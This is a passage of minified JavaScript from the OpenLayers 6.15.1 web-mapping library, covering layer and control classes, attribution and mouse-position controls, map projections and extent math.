0!==navigator.userAgent?navigator.userAgent.toLowerCase():"",Y=-1!==N.indexOf("firefox"),B=(-1!==N.indexOf("safari")&&-1==N.indexOf("chrom")&&(N.indexOf("version/15.4")>=0||N.match(/cpu (os|iphone os) 15_4 like mac os x/)),-1!==N.indexOf("webkit")&&-1==N.indexOf("edge")),K=-1!==N.indexOf("macintosh"),Z="undefined"!=typeof devicePixelRatio?devicePixelRatio:1,V="undefined"!=typeof WorkerGlobalScope&&"undefined"!=typeof OffscreenCanvas&&self instanceof WorkerGlobalScope,U="undefined"!=typeof Image&&Image.prototype.decode,H=function(){var t=!1;try{var e=Object.defineProperty({},"passive",{get:function(){t=!0}});window.addEventListener("_",null,e),window.removeEventListener("_",null,e)}catch(t){}return t}();function q(t,e,i,n){var o;return o=i&&i.length?i.shift():V?new OffscreenCanvas(t||300,e||300):document.createElement("canvas"),t&&(o.width=t),e&&(o.height=e),o.getContext("2d",n)}function J(t){var e=t.canvas;e.width=1,e.height=1,t.clearRect(0,0,1,1)}function Q(t,e){var i=e.parentNode;i&&i.replaceChild(t,e)}function $(t){return t&&t.parentNode?t.parentNode.removeChild(t):null}var tt=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),et=function(t){function e(e){var i=t.call(this)||this,n=e.element;return!n||e.target||n.style.pointerEvents||(n.style.pointerEvents="auto"),i.element=n||null,i.target_=null,i.map_=null,i.listenerKeys=[],e.render&&(i.render=e.render),e.target&&i.setTarget(e.target),i}return tt(e,t),e.prototype.disposeInternal=function(){$(this.element),t.prototype.disposeInternal.call(this)},e.prototype.getMap=function(){return this.map_},e.prototype.setMap=function(t){this.map_&&$(this.element);for(var e=0,i=this.listenerKeys.length;e<i;++e)P(this.listenerKeys[e]);this.listenerKeys.length=0,this.map_=t,t&&((this.target_?this.target_:t.getOverlayContainerStopEvent()).appendChild(this.element),this.render!==p&&this.listenerKeys.push(O(t,z,this.render,this)),t.render())},e.prototype.render=function(t){},e.prototype.setTarget=function(t){this.target_="string"==typeof t?document.getElementById(t):t},e}(G),it="ol-hidden",nt="ol-unselectable",ot="ol-control",rt="ol-collapsed",st=new RegExp(["^\\s*(?=(?:(?:[-a-z]+\\s*){0,2}(italic|oblique))?)","(?=(?:(?:[-a-z]+\\s*){0,2}(small-caps))?)","(?=(?:(?:[-a-z]+\\s*){0,2}(bold(?:er)?|lighter|[1-9]00 ))?)","(?:(?:normal|\\1|\\2|\\3)\\s*){0,3}((?:xx?-)?","(?:small|large)|medium|smaller|larger|[\\.\\d]+(?:\\%|in|[cem]m|ex|p[ctx]))","(?:\\s*\\/\\s*(normal|[\\.\\d]+(?:\\%|in|[cem]m|ex|p[ctx])?))","?\\s*([-,\\\"\\'\\sa-z]+?)\\s*$"].join(""),"i"),at=["style","variant","weight","size","lineHeight","family"],lt=function(t){var e=t.match(st);if(!e)return null;for(var i={lineHeight:"normal",size:"1.2em",style:"normal",weight:"normal",variant:"normal"},n=0,o=at.length;n<o;++n){var r=e[n+1];void 0!==r&&(i[at[n]]=r)}return i.families=i.family.split(/,\s?/),i},ht="opacity",ut="visible",ct="extent",pt="zIndex",ft="maxResolution",dt="minResolution",gt="maxZoom",_t="minZoom",yt="source",vt=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),mt=function(t){function e(e){var i=this,n="Assertion failed. See https://openlayers.org/en/v"+"6.15.1".split("-")[0]+"/doc/errors/#"+e+" for details.";return(i=t.call(this,n)||this).code=e,i.name="AssertionError",i.message=n,i}return vt(e,t),e}(Error);function xt(t,e){if(!t)throw new mt(e)}function Ct(t,e,i){return Math.min(Math.max(t,e),i)}var wt="cosh"in Math?Math.cosh:function(t){var e=Math.exp(t);return(e+1/e)/2},St="log2"in Math?Math.log2:function(t){return Math.log(t)*Math.LOG2E};function Et(t,e,i,n,o,r){var s=o-i,a=r-n;if(0!==s||0!==a){var l=((t-i)*s+(e-n)*a)/(s*s+a*a);l>1?(i=o,n=r):l>0&&(i+=s*l,n+=a*l)}return Tt(t,e,i,n)}function Tt(t,e,i,n){var o=i-t,r=n-e;return o*o+r*r}function bt(t){return t*Math.PI/180}function Ot(t,e){var i=t%e;return i*e<0?i+e:i}function Rt(t,e,i){return t+i*(e-t)}function Pt(t,e){var i=Math.pow(10,e);return Math.round(t*i)/i}function It(t,e){return Math.floor(Pt(t,e))}function Mt(t,e){return Math.ceil(Pt(t,e))}var Ft=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Lt=function(t){function e(e){var i=t.call(this)||this;i.on,i.once,i.un,i.background_=e.background;var n=f({},e);return"object"==typeof e.properties&&(delete n.properties,f(n,e.properties)),n[ht]=void 0!==e.opacity?e.opacity:1,xt("number"==typeof n[ht],64),n[ut]=void 0===e.visible||e.visible,n[pt]=e.zIndex,n[ft]=void 0!==e.maxResolution?e.maxResolution:1/0,n[dt]=void 0!==e.minResolution?e.minResolution:0,n[_t]=void 0!==e.minZoom?e.minZoom:-1/0,n[gt]=void 0!==e.maxZoom?e.maxZoom:1/0,i.className_=void 0!==n.className?n.className:"ol-layer",delete n.className,i.setProperties(n),i.state_=null,i}return Ft(e,t),e.prototype.getBackground=function(){return this.background_},e.prototype.getClassName=function(){return this.className_},e.prototype.getLayerState=function(t){var e=this.state_||{layer:this,managed:void 0===t||t},i=this.getZIndex();return e.opacity=Ct(Math.round(100*this.getOpacity())/100,0,1),e.visible=this.getVisible(),e.extent=this.getExtent(),e.zIndex=void 0!==i||e.managed?i:1/0,e.maxResolution=this.getMaxResolution(),e.minResolution=Math.max(this.getMinResolution(),0),e.minZoom=this.getMinZoom(),e.maxZoom=this.getMaxZoom(),this.state_=e,e},e.prototype.getLayersArray=function(t){return L()},e.prototype.getLayerStatesArray=function(t){return L()},e.prototype.getExtent=function(){return this.get(ct)},e.prototype.getMaxResolution=function(){return this.get(ft)},e.prototype.getMinResolution=function(){return this.get(dt)},e.prototype.getMinZoom=function(){return this.get(_t)},e.prototype.getMaxZoom=function(){return this.get(gt)},e.prototype.getOpacity=function(){return this.get(ht)},e.prototype.getSourceState=function(){return L()},e.prototype.getVisible=function(){return this.get(ut)},e.prototype.getZIndex=function(){return this.get(pt)},e.prototype.setBackground=function(t){this.background_=t,this.changed()},e.prototype.setExtent=function(t){this.set(ct,t)},e.prototype.setMaxResolution=function(t){this.set(ft,t)},e.prototype.setMinResolution=function(t){this.set(dt,t)},e.prototype.setMaxZoom=function(t){this.set(gt,t)},e.prototype.setMinZoom=function(t){this.set(_t,t)},e.prototype.setOpacity=function(t){xt("number"==typeof t,64),this.set(ht,t)},e.prototype.setVisible=function(t){this.set(ut,t)},e.prototype.setZIndex=function(t){this.set(pt,t)},e.prototype.disposeInternal=function(){this.state_&&(this.state_.layer=null,this.state_=null),t.prototype.disposeInternal.call(this)},e}(G),At="precompose",Dt="rendercomplete",kt=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function jt(t,e){if(!t.visible)return!1;var i=e.resolution;if(i<t.minResolution||i>=t.maxResolution)return!1;var n=e.zoom;return n>t.minZoom&&n<=t.maxZoom}var Gt=function(t){function e(e){var i=this,n=f({},e);delete n.source,(i=t.call(this,n)||this).on,i.once,i.un,i.mapPrecomposeKey_=null,i.mapRenderKey_=null,i.sourceChangeKey_=null,i.renderer_=null,i.rendered=!1,e.render&&(i.render=e.render),e.map&&i.setMap(e.map),i.addChangeListener(yt,i.handleSourcePropertyChange_);var o=e.source?e.source:null;return i.setSource(o),i}return kt(e,t),e.prototype.getLayersArray=function(t){var e=t||[];return e.push(this),e},e.prototype.getLayerStatesArray=function(t){var e=t||[];return e.push(this.getLayerState()),e},e.prototype.getSource=function(){return this.get(yt)||null},e.prototype.getRenderSource=function(){return this.getSource()},e.prototype.getSourceState=function(){var t=this.getSource();return t?t.getState():"undefined"},e.prototype.handleSourceChange_=function(){this.changed()},e.prototype.handleSourcePropertyChange_=function(){this.sourceChangeKey_&&(P(this.sourceChangeKey_),this.sourceChangeKey_=null);var t=this.getSource();t&&(this.sourceChangeKey_=O(t,x,this.handleSourceChange_,this)),this.changed()},e.prototype.getFeatures=function(t){return this.renderer_?this.renderer_.getFeatures(t):new Promise((function(t){return t([])}))},e.prototype.getData=function(t){return this.renderer_&&this.rendered?this.renderer_.getData(t):null},e.prototype.render=function(t,e){var i=this.getRenderer();if(i.prepareFrame(t))return this.rendered=!0,i.renderFrame(t,e)},e.prototype.unrender=function(){this.rendered=!1},e.prototype.setMapInternal=function(t){t||this.unrender(),this.set("map",t)},e.prototype.getMapInternal=function(){return this.get("map")},e.prototype.setMap=function(t){this.mapPrecomposeKey_&&(P(this.mapPrecomposeKey_),this.mapPrecomposeKey_=null),t||this.changed(),this.mapRenderKey_&&(P(this.mapRenderKey_),this.mapRenderKey_=null),t&&(this.mapPrecomposeKey_=O(t,At,(function(t){var e=t.frameState.layerStatesArray,i=this.getLayerState(!1);xt(!e.some((function(t){return t.layer===i.layer})),67),e.push(i)}),this),this.mapRenderKey_=O(this,x,t.render,t),this.changed())},e.prototype.setSource=function(t){this.set(yt,t)},e.prototype.getRenderer=function(){return this.renderer_||(this.renderer_=this.createRenderer()),this.renderer_},e.prototype.hasRenderer=function(){return!!this.renderer_},e.prototype.createRenderer=function(){return null},e.prototype.disposeInternal=function(){this.renderer_&&(this.renderer_.dispose(),delete this.renderer_),this.setSource(null),t.prototype.disposeInternal.call(this)},e}(Lt),zt=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Wt=function(t){function e(e){var i=this,n=e||{};(i=t.call(this,{element:document.createElement("div"),render:n.render,target:n.target})||this).ulElement_=document.createElement("ul"),i.collapsed_=void 0===n.collapsed||n.collapsed,i.userCollapsed_=i.collapsed_,i.overrideCollapsible_=void 0!==n.collapsible,i.collapsible_=void 0===n.collapsible||n.collapsible,i.collapsible_||(i.collapsed_=!1);var o=void 0!==n.className?n.className:"ol-attribution",r=void 0!==n.tipLabel?n.tipLabel:"Attributions",s=void 0!==n.expandClassName?n.expandClassName:o+"-expand",a=void 0!==n.collapseLabel?n.collapseLabel:"›",l=void 0!==n.collapseClassName?n.collapseClassName:o+"-collapse";"string"==typeof a?(i.collapseLabel_=document.createElement("span"),i.collapseLabel_.textContent=a,i.collapseLabel_.className=l):i.collapseLabel_=a;var h=void 0!==n.label?n.label:"i";"string"==typeof h?(i.label_=document.createElement("span"),i.label_.textContent=h,i.label_.className=s):i.label_=h;var u=i.collapsible_&&!i.collapsed_?i.collapseLabel_:i.label_;i.toggleButton_=document.createElement("button"),i.toggleButton_.setAttribute("type","button"),i.toggleButton_.setAttribute("aria-expanded",String(!i.collapsed_)),i.toggleButton_.title=r,i.toggleButton_.appendChild(u),i.toggleButton_.addEventListener(w,i.handleClick_.bind(i),!1);var c=o+" "+nt+" "+ot+(i.collapsed_&&i.collapsible_?" "+rt:"")+(i.collapsible_?"":" ol-uncollapsible"),p=i.element;return p.className=c,p.appendChild(i.toggleButton_),p.appendChild(i.ulElement_),i.renderedAttributions_=[],i.renderedVisible_=!0,i}return zt(e,t),e.prototype.collectSourceAttributions_=function(t){for(var e={},i=[],n=!0,o=t.layerStatesArray,r=0,s=o.length;r<s;++r){var a=o[r];if(jt(a,t.viewState)){var l=a.layer.getSource();if(l){var h=l.getAttributions();if(h){var u=h(t);if(u)if(n=n&&!1!==l.getAttributionsCollapsible(),Array.isArray(u))for(var c=0,p=u.length;c<p;++c)u[c]in e||(i.push(u[c]),e[u[c]]=!0);else u in e||(i.push(u),e[u]=!0)}}}}return this.overrideCollapsible_||this.setCollapsible(n),i},e.prototype.updateElement_=function(t){if(t){var e=this.collectSourceAttributions_(t),i=e.length>0;if(this.renderedVisible_!=i&&(this.element.style.display=i?"":"none",this.renderedVisible_=i),!h(e,this.renderedAttributions_)){!function(t){for(;t.lastChild;)t.removeChild(t.lastChild)}(this.ulElement_);for(var n=0,o=e.length;n<o;++n){var r=document.createElement("li");r.innerHTML=e[n],this.ulElement_.appendChild(r)}this.renderedAttributions_=e}}else this.renderedVisible_&&(this.element.style.display="none",this.renderedVisible_=!1)},e.prototype.handleClick_=function(t){t.preventDefault(),this.handleToggle_(),this.userCollapsed_=this.collapsed_},e.prototype.handleToggle_=function(){this.element.classList.toggle(rt),this.collapsed_?Q(this.collapseLabel_,this.label_):Q(this.label_,this.collapseLabel_),this.collapsed_=!this.collapsed_,this.toggleButton_.setAttribute("aria-expanded",String(!this.collapsed_))},e.prototype.getCollapsible=function(){return this.collapsible_},e.prototype.setCollapsible=function(t){this.collapsible_!==t&&(this.collapsible_=t,this.element.classList.toggle("ol-uncollapsible"),this.userCollapsed_&&this.handleToggle_())},e.prototype.setCollapsed=function(t){this.userCollapsed_=t,this.collapsible_&&this.collapsed_!==t&&this.handleToggle_()},e.prototype.getCollapsed=function(){return this.collapsed_},e.prototype.render=function(t){this.updateElement_(t.frameState)},e}(et),Xt="pointermove",Nt="pointerdown",Yt={RADIANS:"radians",DEGREES:"degrees",FEET:"ft",METERS:"m",PIXELS:"pixels",TILE_PIXELS:"tile-pixels",USFEET:"us-ft"},Bt={};Bt[Yt.RADIANS]=6370997/(2*Math.PI),Bt[Yt.DEGREES]=2*Math.PI*6370997/360,Bt[Yt.FEET]=.3048,Bt[Yt.METERS]=1,Bt[Yt.USFEET]=1200/3937;var Kt=Yt,Zt=function(){function t(t){this.code_=t.code,this.units_=t.units,this.extent_=void 0!==t.extent?t.extent:null,this.worldExtent_=void 0!==t.worldExtent?t.worldExtent:null,this.axisOrientation_=void 0!==t.axisOrientation?t.axisOrientation:"enu",this.global_=void 0!==t.global&&t.global,this.canWrapX_=!(!this.global_||!this.extent_),this.getPointResolutionFunc_=t.getPointResolution,this.defaultTileGrid_=null,this.metersPerUnit_=t.metersPerUnit}return t.prototype.canWrapX=function(){return this.canWrapX_},t.prototype.getCode=function(){return this.code_},t.prototype.getExtent=function(){return this.extent_},t.prototype.getUnits=function(){return this.units_},t.prototype.getMetersPerUnit=function(){return this.metersPerUnit_||Bt[this.units_]},t.prototype.getWorldExtent=function(){return this.worldExtent_},t.prototype.getAxisOrientation=function(){return this.axisOrientation_},t.prototype.isGlobal=function(){return this.global_},t.prototype.setGlobal=function(t){this.global_=t,this.canWrapX_=!(!t||!this.extent_)},t.prototype.getDefaultTileGrid=function(){return this.defaultTileGrid_},t.prototype.setDefaultTileGrid=function(t){this.defaultTileGrid_=t},t.prototype.setExtent=function(t){this.extent_=t,this.canWrapX_=!(!this.global_||!t)},t.prototype.setWorldExtent=function(t){this.worldExtent_=t},t.prototype.setGetPointResolution=function(t){this.getPointResolutionFunc_=t},t.prototype.getPointResolutionFunc=function(){return this.getPointResolutionFunc_},t}(),Vt=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ut=6378137,Ht=Math.PI*Ut,qt=[-Ht,-Ht,Ht,Ht],Jt=[-180,-85,180,85],Qt=Ut*Math.log(Math.tan(Math.PI/2)),$t=function(t){function e(e){return t.call(this,{code:e,units:Kt.METERS,extent:qt,global:!0,worldExtent:Jt,getPointResolution:function(t,e){return t/wt(e[1]/Ut)}})||this}return Vt(e,t),e}(Zt),te=[new $t("EPSG:3857"),new $t("EPSG:102100"),new $t("EPSG:102113"),new $t("EPSG:900913"),new $t("http://www.opengis.net/def/crs/EPSG/0/3857"),new $t("http://www.opengis.net/gml/srs/epsg.xml#3857")];var ee=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ie=[-180,-90,180,90],ne=6378137*Math.PI/180,oe=function(t){function e(e,i){return t.call(this,{code:e,units:Kt.DEGREES,extent:ie,axisOrientation:i,global:!0,metersPerUnit:ne,worldExtent:ie})||this}return ee(e,t),e}(Zt),re=[new oe("CRS:84"),new oe("EPSG:4326","neu"),new oe("urn:ogc:def:crs:OGC:1.3:CRS84"),new oe("urn:ogc:def:crs:OGC:2:84"),new oe("http://www.opengis.net/def/crs/OGC/1.3/CRS84"),new oe("http://www.opengis.net/gml/srs/epsg.xml#4326","neu"),new oe("http://www.opengis.net/def/crs/EPSG/0/4326","neu")],se={},ae={};function le(t,e,i){var n=t.getCode(),o=e.getCode();n in ae||(ae[n]={}),ae[n][o]=i}function he(t){for(var e=[1/0,1/0,-1/0,-1/0],i=0,n=t.length;i<n;++i)Ce(e,t[i]);return e}function ue(t,e,i){return i?(i[0]=t[0]-e,i[1]=t[1]-e,i[2]=t[2]+e,i[3]=t[3]+e,i):[t[0]-e,t[1]-e,t[2]+e,t[3]+e]}function ce(t,e){return e?(e[0]=t[0],e[1]=t[1],e[2]=t[2],e[3]=t[3],e):t.slice()}function pe(t,e,i){var n,o;return(n=e<t[0]?t[0]-e:t[2]<e?e-t[2]:0)*n+(o=i<t[1]?t[1]-i:t[3]<i?i-t[3]:0)*o}function fe(t,e){return ge(t,e[0],e[1])}function de(t,e){return t[0]<=e[0]&&e[2]<=t[2]&&t[1]<=e[1]&&e[3]<=t[3]}function ge(t,e,i){return t[0]<=e&&e<=t[2]&&t[1]<=i&&i<=t[3]}function _e(t,e){var i=t[0],n=t[1],o=t[2],r=t[3],s=e[0],a=e[1],l=0;return s<i?l|=16:s>o&&(l|=4),a<n?l|=8:a>r&&(l|=2),0===l&&(l=1),l}function ye(t,e,i,n,o){return o?(o[0]=t,o[1]=e,o[2]=i,o[3]=n,o):[t,e,i,n]}function ve(t){return ye(1/0,1/0,-1/0,-1/0,t)}function me(t,e,i,n,o){return we(ve(o),t,e,i,n)}function xe(t,e){return t[0]==e[0]&&t[2]==e[2]&&t[1]==e[1]&&t[3]==e[3]}function Ce(t,e){e[0]<t[0]&&(t[0]=e[0]),e[0]>t[2]&&(t[2]=e[0]),e[1]<t[1]&&(t[1]=e[1]),e[1]>t[3]&&(t[3]=e[1])}function we(t,e,i,n,o){for(;i<n;i+=o)Se(t,e[i],e[i+1]);return t}function Se(t,e,i){t[0]=Math.min(t[0],e),t[1]=Math.min(t[1],i),t[2]=Math.max(t[2],e),t[3]=Math.max(t[3],i)}function Ee(t,e){var i;return(i=e(be(t)))||(i=e(Oe(t)))||(i=e(De(t)))?i:(i=e(Ae(t)))||!1}function Te(t){var e=0;return Ge(t)||(e=ke(t)*Fe(t)),e}function be(t){return[t[0],t[1]]}function Oe(t){return[t[2],t[1]]}function Re(t){return[(t[0]+t[2])/2,(t[1]+t[3])/2]}function Pe(t,e){var i;return"bottom-left"===e?i=be(t):"bottom-right"===e?i=Oe(t):"top-left"===e?i=Ae(t):"top-right"===e?i=De(t):xt(!1,13),i}function Ie(t,e,i,n,o){var r=Me(t,e,i,n),s=r[0],a=r[1],l=r[2],h=r[3],u=r[4],c=r[5],p=r[6],f=r[7];return ye(Math.min(s,l,u,p),Math.min(a,h,c,f),Math.max(s,l,u,p),Math.max(a,h,c,f),o)}function Me(t,e,i,n){var o=e*n[0]/2,r=e*n[1]/2,s=Math.cos(i),a=Math.sin(i),l=o*s,h=o*a,u=r*s,c=r*a,p=t[0],f=t[1];return[p-l+c,f-h-u,p-l-c,f-h+u,p+l-c,f+h+u,p+l+c,f+h-u,p-l+c,f-h-u]}function Fe(t){return t[3]-t[1]}function Le(t,e,i){var n=i||[1/0,1/0,-1/0,-1/0];return je(t,e)?(t[0]>e[0]?n[0]=t[0]:n[0]=e[0],t[1]>e[1]?n[1]=t[1]:n[1]=e[1],t[2]<e[2]?n[2]=t[2]:n[2]=e[2],t[3]<e[3]?n[3]=t[3]:n[3]=e[3]):ve(n),n}function Ae(t){return[t[0],t[3]]}function De(t){return[t[2],t[3]]}function ke(t){return t[2]-t[0]}function je(t,e){return t[0]<=e[2]&&t[2]>=e[0]&&t[1]<=e[3]&&t[3]>=e[1]}function Ge(t){return t[2]<t[0]||t[3]<t[1]}function ze(t,e){var i=e.getExtent(),n=Re(t);if(e.canWrapX()&&(n[0]<i[0]||n[0]>=i[2])){var o=ke(i),r=Math.floor((n[0]-i[0])/o)*o;t[0]-=r,t[2]-=r}return t}function We(t,e){for(var i=!0,n=t.length-1;n>=0;--n)if(t[n]!=e[n]){i=!1;break}return i}function Xe(t,e){var i=Math.cos(e),n=Math.sin(e),o=t[0]*i-t[1]*n,r=t[1]*i+t[0]*n;return t[0]=o,t[1]=r,t}function Ne(t,e){if(e.canWrapX()){var i=ke(e.getExtent()),n=function(t,e,i){var n=e.getExtent(),o=0;if(e.canWrapX()&&(t[0]<n[0]||t[0]>n[2])){var r=i||ke(n);o=Math.floor((t[0]-n[0])/r)}return o}(t,e,i);n&&(t[0]-=n*i)}return t}function Ye(t,e,i){var n=i||6371008.8,o=bt(t[1]),r=bt(e[1]),s=(r-o)/2,a=bt(e[0]-t[0])/2,l=Math.sin(s)*Math.sin(s)+Math.sin(a)*Math.sin(a)*Math.cos(o)*Math.cos(r);return 2*n*Math.atan2(Math.sqrt(l),Math.sqrt(1-l))}var Be=!0;function Ke(t){Be=!(void 0===t||t)}function Ze(t,e,i){var n;if(void 0!==e){for(var o=0,r=t.length;o<r;++o)e[o]=t[o];n=e}else n=t.slice();return n}function Ve(t,e,i){if(void 0!==e&&t!==e){for(var n=0,o=t.length;n<o;++n)e[n]=t[n];t=e}return t}function Ue(t){!function(t,e){se[t]=e}(t.getCode(),t),le(t,t,Ze)}function He(t){return"string"==typeof t?se[e=t]||se[e.replace(/urn:(x-)?ogc:def:crs:EPSG:(.*:)?(\w+)$/,"EPSG:$3")]||null:t||null;var e}function qe(t,e,i,n){var o,r=(t=He(t)).getPointResolutionFunc();if(r)o=r(e,i),n&&n!==t.getUnits()&&(a=t.getMetersPerUnit())&&(o=o*a/Bt[n]);else{var s=t.getUnits();if(s==Kt.DEGREES&&!n||n==Kt.DEGREES)o=e;else{var a,l=ti(t,He("EPSG:4326"));if(l===Ve&&s!==Kt.DEGREES)o=e*t.getMetersPerUnit();else{var h=[i[0]-e/2,i[1],i[0]+e/2,i[1],i[0],i[1]-e/2,i[0],i[1]+e/2];o=(Ye((h=l(h,h,2)).slice(0,2),h.slice(2,4))+Ye(h.slice(4,6),h.slice(6,8)))/2}void 0!==(a=n?Bt[n]:t.getMetersPerUnit())&&(o/=a)}}return o}function Je(t){!function(t){t.forEach(Ue)}(t),t.forEach((function(e){t.forEach((function(t){e!==t&&le(e,t,Ze)}))}))}function Qe(t,e){return t?"string"==typeof t?He(t):t:He(e)}function $e(t,e){if(t===e)return!0;var i=t.getUnits()===e.getUnits();return(t.getCode()===e.getCode()||ti(t,e)===Ze)&&i}function ti(t,e){var i=function(t,e){var i;return t in ae&&e in ae[t]&&(i=ae[t][e]),i}(t.getCode(),e.getCode());return i||(i=Ve),i}function ei(t,e){return ti(He(t),He(e))}function ii(t,e,i){return ei(e,i)(t,void 0,t.length)}function ni(t,e,i,n){return function(t,e,i,n){var o=[];if(n>1)for(var r=t[2]-t[0],s=t[3]-t[1],a=0;a<n;++a)o.push(t[0]+r*a/n,t[1],t[2],t[1]+s*a/n,t[2]-r*a/n,t[3],t[0],t[3]-s*a/n);else o=[t[0],t[1],t[2],t[1],t[2],t[3],t[0],t[3]];e(o,o,2);for(var l=[],h=[],u=(a=0,o.length);a<u;a+=2)l.push(o[a]),h.push(o[a+1]);return function(t,e,i){return ye(Math.min.apply(null,t),Math.min.apply(null,e),Math.max.apply(null,t),Math.max.apply(null,e),i)}(l,h,i)}(t,ei(e,i),void 0,n)}var oi,ri,si,ai=null;function li(){return ai}function hi(t,e){return t}function ui(t,e){return Be&&!We(t,[0,0])&&t[0]>=-180&&t[0]<=180&&t[1]>=-90&&t[1]<=90&&(Be=!1,console.warn("Call useGeographic() from ol/proj once to work with [longitude, latitude] coordinates.")),t}function ci(t,e){return t}function pi(t,e){return t}function fi(t,e){return t}Je(te),Je(re),oi=te,ri=function(t,e,i){var n=t.length,o=i>1?i:2,r=e;void 0===r&&(r=o>2?t.slice():new Array(n));for(var s=0;s<n;s+=o){r[s]=Ht*t[s]/180;var a=Ut*Math.log(Math.tan(Math.PI*(+t[s+1]+90)/360));a>Qt?a=Qt:a<-Qt&&(a=-Qt),r[s+1]=a}return r},si=function(t,e,i){var n=t.length,o=i>1?i:2,r=e;void 0===r&&(r=o>2?t.slice():new Array(n));for(var s=0;s<n;s+=o)r[s]=180*t[s]/Ht,r[s+1]=360*Math.atan(Math.exp(t[s+1]/Ut))/Math.PI-90;return r},re.forEach((function(t){oi.forEach((function(e){le(t,e,ri),le(e,t,si)}))}));var di=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),gi="projection",_i="coordinateFormat",yi=function(t){function e(e){var i=this,n=e||{},o=document.createElement("div");o.className=void 0!==n.className?n.className:"ol-mouse-position",(i=t.call(this,{element:o,render:n.render,target:n.target})||this).on,i.once,i.un,i.addChangeListener(gi,i.handleProjectionChanged_),n.coordinateFormat&&i.setCoordinateFormat(n.coordinateFormat),n.projection&&i.setProjection(n.projection);var r=!0,s=" ";return"undefinedHTML"in n?(void 0!==n.undefinedHTML&&(s=n.undefinedHTML),r=!!s):"placeholder"in n&&(!1===n.placeholder?r=!1:s=String(n.placeholder)),i.placeholder_=s,i.renderOnMouseOut_=r,i.renderedHTML_=o.innerHTML,i.mapProjection_=null,i.transform_=null,i}return di(e,t),e.prototype.handleProjectionChanged_=function(){this.transform_=null},e.prototype.getCoordinateFormat=function(){return this.get(_i)},e.prototype.getProjection=function(){return this.get(gi)},e.prototype.handleMouseMove=function(t){var e=this.getMap();this.updateHTML_(e.getEventPixel(t))},e.prototype.handleMouseOut=function(t){this.updateHTML_(null)},e.prototype.setMap=function(e){if(t.prototype.setMap.call(this,e),e){var i=e.getViewport();this.listenerKeys.push(O(i,Xt,this.handleMouseMove,this)),this.renderOnMouseOut_&&this.listenerKeys.push(O(i,"pointerout",this.handleMouseOut,this)),this.updateHTML_(null)}},e.prototype.setCoordinateFormat=function(t){this.set(_i,t)},e.prototype.setProjection=function(t){this.set(gi,He(t))},e.prototype.updateHTML_=function(t){var e=this.placeholder_;if(t&&this.mapProjection_){if(!this.transform_){var i=this.getProjection();this.transform_=i?ti(this.mapProjection_,i):Ve}var n=this.getMap().getCoordinateFromPixelInternal(t);if(n){var o=li();o&&(this.transform_=ti(this.mapProjection_,o)),this.transform_(n,n);var r=this.getCoordinateFormat();e=r?r(n):n.toString()}}this.renderedHTML_&&e===this.renderedHTML_||(this.element.innerHTML=e,this.renderedHTML_=e)},e.prototype.render=function(t){var e=t.frameState;e?this.mapProjection_!=e.viewState.projection&&(this.mapProjection_=e.viewState.projection,this.transform_=null):this.mapProjection_=null},e}(et),vi=yi;function mi(t){return Math.pow(t,3)}function xi(t){return 1-mi(1-t)}function Ci(t){return 3*t*t-2*t*t*t}function wi(t){return t}var Si,Ei=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof 